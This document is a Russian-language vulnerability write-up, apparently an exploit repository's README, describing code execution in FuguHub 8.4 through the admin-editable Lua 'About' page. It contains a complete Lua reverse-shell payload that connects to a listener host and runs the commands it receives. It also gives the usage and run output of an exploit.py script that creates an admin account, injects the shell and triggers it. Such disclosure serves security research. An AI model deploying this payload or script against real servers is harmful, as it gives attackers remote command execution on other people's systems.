
Произвольное выполнение кода в FuguHub 8.4
FuguHub — это облачное программное обеспечение для медиасервера. Тестируемая версия — версия для Debian по этой ссылке:
https://fuguhub.com/articles/FuguHub-for-Debian Проблема в FuguHub v.8.4 от Real Time Logic LLC позволяет локальному злоумышленнику выполнить произвольный код с помощью специально сформированного скрипта на странице «About» панели администратора.
Скриншот страницы загрузки FuguHub
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
Страница «About» — это редактируемая Lua-страница, содержимое которой можно изменить через панель администратора. Уязвимость внедряет написанный на Lua reverse shell на страницу «About», которая доступна как вошедшим, так и не вошедшим пользователям.
Скриншот страницы About, которую редактирует администратор FuguHub
FuguHub предлагает пользователю создать учётную запись администратора; это также можно сделать на странице: http://127.0.0.1/rtl/protected/admin/
После создания администратор может настроить сервер (Customise Server) по этой ссылке: http://127.0.0.1/rtl/protected/admin/customize.lsp — это позволяет пользователю редактировать страницу About, в которой, как мы видим, есть раздел с Lua-кодом, куда можно внедрить код.
Скриншот редактируемого кода lsp, который выполняется на стороне сервера и возвращает версию ПО; это точка внедрения reverse shell
Вот пример полезной нагрузки:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
Альтернативную однострочную полезную нагрузку можно получить на revshells.com
Скриншот Lua reverse shell с сайта revshells.com
Пытаясь автоматизировать этот эксплоит, я нашёл CVE-2023-24078, в котором описана уязвимость загрузки файлов в FuguHub. Тот эксплоит был написан на Python и включал автоматический вход в систему и создание учётной записи. Я использовал часть этого эксплоита, отвечающую за аутентификацию, а затем добавил код, который эксплуатирует обнаруженную мной новую точку внедрения на странице customize.lsp. Мой Python-эксплоит включён в репозиторий под именем exploit.py.
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...